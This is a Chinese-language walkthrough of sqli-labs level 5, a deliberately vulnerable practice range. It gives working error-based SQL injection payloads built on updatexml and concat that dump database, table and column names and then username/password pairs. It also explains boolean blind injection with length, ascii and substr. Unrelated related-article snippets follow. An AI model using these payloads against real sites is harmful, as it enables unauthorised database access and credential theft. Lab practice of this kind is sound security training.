web——sqliabs靶场——第五关——报错注入和布尔盲注

这一关开始上强度了,不回显东西了,又要学到新的东西了

发现它没有正确的回显,学到了新知识,报错注入

报错注入

什么是报错注入:

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:?id=1' and updatexml(1, 0x7e, 3) -- a

提示:0x7e 等价于 ~

参数2包含特殊符号 ~,触发数据库报错,并将参数2的内容显示在报错信息中。

如果我们在参数2的位置,将查询语句和特殊符号拼接在一起,就可以将查询结果显示在报错信息中,在地址栏中输入:

?id=1' and updatexml(1, concat(0x7e,version()), 3) -- a

 

就会爆出相关的信息

开始做题

方法一:使用报错注入

1.判断注入点

存在sql注入

2.判断注入的类型

单引号导致,页面显示数据库的报错信息,确定注入点为单引号字符型

3.判断注入函数是否可以使用

地址栏输入:

?id=0′ and updatexml(1,0x7e,3) --+

 存在报错注入

4.爆数据库名: 

?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 

或者用别的函数,介绍SUBSTR() 函数

SUBSTR()SUBSTRING() 是 SQL 中用来提取字符串一部分的函数。不同的数据库系统可能对这些函数的支持略有不同,但是基本用法是相似的。以下是 SUBSTR() 函数的一些常见用法:

基本语法

SUBSTR(string, start, length)
  • string:要提取子字符串的源字符串。
  • start:开始提取的位置(从1开始计数)。
  • length:要提取的子字符串的长度。

示例

假设我们有一个字符串 Hello World,我们想提取不同的部分:

  1. 提取从第8个字符开始的4个字符:
SELECT SUBSTR('Hello World', 8, 4);

这将返回 World

在网页上输入

?id=1' and updatexml(1,substr(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),34,31),3) -- a

5.爆表名

?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+

 6.爆字段名

?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+

  7.爆详细信息

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'@@@',password)) from users),1,37),0x7e),1) --+

结束 

方法二: 使用布尔盲注

一、适用环境

页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。

二、盲注步骤

布尔盲注使用时分为两个步骤:

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么


1. 长度判断原理

判断数据库的长度

?id=1' and length( database() )>1 -- a

页面异常(空)显示,表示猜解长度有误;

页面正常显示,表示猜解长度正确;

判断库名为8

文末使用脚本自动化判断

2.枚举字符

2. 穷举字符原理
查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。

推荐文章:ASCLL编码详解,ASCLL编码对照表

使用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。

页面异常(空)显示,表示猜解失误;
                        
原文链接:https://blog.csdn.net/wangyuxiang946/article/details/123486880

?id=1' and ascii( substr( (select group_concat(schema_name) from information_schema.schemata) ,1,1) ) >1 -- a

 可以使用脚本来做

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/13495.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【JavaScript】LeetCode:86-90

文章目录 86 只出现一次的数字87 颜色分类88 下一个排列89 寻找重复数90 前K个高频元素 86 只出现一次的数字 异或x ^ x 0,x ^ 0 x,相同为0,相异为1,且满足交换律。例如:[4, 1, 2, 1, 2] > 1 ^ 1 ^ 2 ^ 2 ^ 4 0 …

CSS回顾-基础知识详解

一、引言 在前端开发领域,CSS 曾是构建网页视觉效果的关键,与 HTML、JavaScript 一起打造精彩的网络世界。但随着组件库的大量涌现,我们亲手书写 CSS 样式的情况越来越少,CSS 基础知识也逐渐被我们遗忘。 现在,这种遗…

Spring Boot编程训练系统:构建可扩展的应用

摘要 随着信息技术在管理上越来越深入而广泛的应用,管理信息系统的实施在技术上已逐步成熟。本文介绍了编程训练系统的开发全过程。通过分析编程训练系统管理的不足,创建了一个计算机管理编程训练系统的方案。文章介绍了编程训练系统的系统分析部分&…

点云论文阅读-1-pointnet++

pointnet局限性:不能获取局部结构信息 作者提出pointnet需要解决的问题: 如何生成点云的分区(需要保证每一个分区具有相似的结构,使学习算法的参数在局部共享)如何通过一个局部特征学习算法抽象点云或局部特征 解决…

Summaries 总结

Goto Data Grid 数据网格 Summaries 摘要 Summary Types 摘要类型 Total Summary 总摘要 汇总总数 (GridSummaryItem) 将针对所有数据网格记录进行计算,并显示在视图页脚中。启用 View 的 OptionsView.ShowFooter 设置以显示视图页脚。 …

MySQL技巧之跨服务器数据查询:基础篇-如何获取查询语句中的参数

MySQL技巧之跨服务器数据查询:基础篇-如何获取查询语句中的参数 上一篇已经描述:借用微软的SQL Server ODBC 即可实现MySQL跨服务器间的数据查询。 而且还介绍了如何获得一个在MS SQL Server 可以连接指定实例的MySQL数据库的连接名: MY_ODBC_MYSQL 以…

unity3d————协程练习题

1.计秒器: void Start(){StartCoroutine(MyCoroutine());}IEnumerator MyCoroutine(){int time 0;while(true){print(time "秒");time;yield return new WaitForSeconds(1);}} 结果: 2.生成多个cude (不卡顿)&#x…

Go开发指南- Gorouting

目录: (1)Go开发指南-Hello World (2)Go开发指南-Gin与Web开发 (3)Go开发指南-Gorouting Goroutine 在java中我们要实现并发编程的时候,通常要自己维护一个线程池,并且需要去包装任务、调度任务和维护上下文切换。这个过程需要消耗大量的精…

R语言机器学习与临床预测模型69--机器学习模型解释利器:SHAP

R小盐准备介绍R语言机器学习与预测模型的学习笔记, 快来收藏关注【科研私家菜】 01 机器学习的可解释性 对于集成学习方法,效果虽好,但一直无法解决可解释性的问题。我们知道一个xgboost或lightgbm模型,是由N棵树组成,…

Docker部署青龙面板,实现京东自动签到刷京东,提供脚本

项目简介 青龙面板是一个基于Docker的可视化任务管理系统,用于执行定时任务,如自动签到。 部署安装 安装Docker curl -sSL https://get.docker.com/ | sh 安装Docker-compose 下载 Docker-Compose 二进制包 curl -L https://github.com/docker/compo…

路径穿越浅析

当使用 RouterFunctions 来处理静态资源且资源处理通过 FileSystemResource 进行配置时,攻击者可以通过构造恶意 HTTP 请求,利用路径遍历漏洞获取相关受影响版本文件系统中的任意文件。 主要影响范围: Spring Framework 5.3.0 - 5.3.39 6.…

【网络安全渗透测试零基础入门】之Vulnhub靶场PWNOS: 2.0 多种渗透方法,收藏这一篇就够了!

前言 这是小强给粉丝盆友们整理的网络安全渗透测试入门阶段Vulnhub靶场实战教程 喜欢的朋友们,记得给我点赞支持和收藏一下,关注我,学习黑客技术。 本文介绍靶机PWNOS: 2.0 的渗透方法,由于靶机系统比较老,尝试了几种…

【缓存策略】你知道 Write Around(缓存绕过写)这个缓存策略吗?

👉博主介绍: 博主从事应用安全和大数据领域,有8年研发经验,5年面试官经验,Java技术专家,WEB架构师,阿里云专家博主,华为云云享专家,51CTO 专家博主 ⛪️ 个人社区&#x…

JavaScript入门笔记

目录 JavaScript 介绍 1.JavaScript书写位置 1.1内部 js 1.2外部 js 2.输入和输出语法 变量 1.变量是什么 2.变量基本使用 2.1变量的声明 2.2变量的赋值 3.数组 常量 数据类型 1.数据类型 1.1基本数据类型 1.1.1.number: 数字型 1.1.2.string: 字符串型 1.1.…

游戏引擎学习第七天

视频参考:https://www.bilibili.com/video/BV1QFmhYcE69 ERROR_DEVICE_NOT_CONNECTED 是一个错误代码,通常在调用 XInputGetState 或 XInputSetState 函数时返回,表示指定的设备未连接。通常会出现以下几种情况: 未连接控制器:如…

IDE内存不足,这可能会影响性能。请考虑增加堆大小。

警告信息:Low Memory The IDE is running low on memory and this might affect performance. Please consider increasing available heap. 解决方案: 重启即可。

Element plus使用menu时候如何在折叠时候隐藏掉组件自带的小箭头

记录一下工作中使用element plus时候遇到的一个小bug 就是这个小箭头太折磨人了,因为我需要根据路由动态加载menu,所以对这个menu组件进行了一些处理,然后可能是因为破坏了它原来的层级关系吧导致折叠菜单的时候这个小箭头还在(官…

语义通信论文略读(七)Contrastive Learning-Based Semantic Communications

Contrastive Learning-Based Semantic Communications 基于对比学习的语义通信 作者: Shunpu Tang, Qianqian Yang, Lisheng Fan, Xianfu Lei, Arumugam Nallanathan, George K. Karagiannidis 所属机构: 广州大学计算机科学与网络安全学院,浙江大学信息科学与电…

windows下QT5.12.11使用MSVC编译器编译mysql驱动并使用详解

1、下载mysql开发库,后面驱动编译的时候需要引用到,下载地址:mysql开发库下载 2、使用everything搜索:msvc-version.conf,用记事本打开,添加:QMAKE_MSC_VER=1909。不然msvc下的mysql源码加载不上。

技术栈2:Git分布式版本控制工具

目录 1.版本控制器 2.Git概述 3.Git常用命令 4.获取本地仓库 5.基础操作指令 6.gitignore文件 7.分支与合并 8.远程仓库 1.版本控制器 1.1集中式版本控制器 集中式版本控制工具,版本库是集中存放在中央服务器的,team里每个人work时…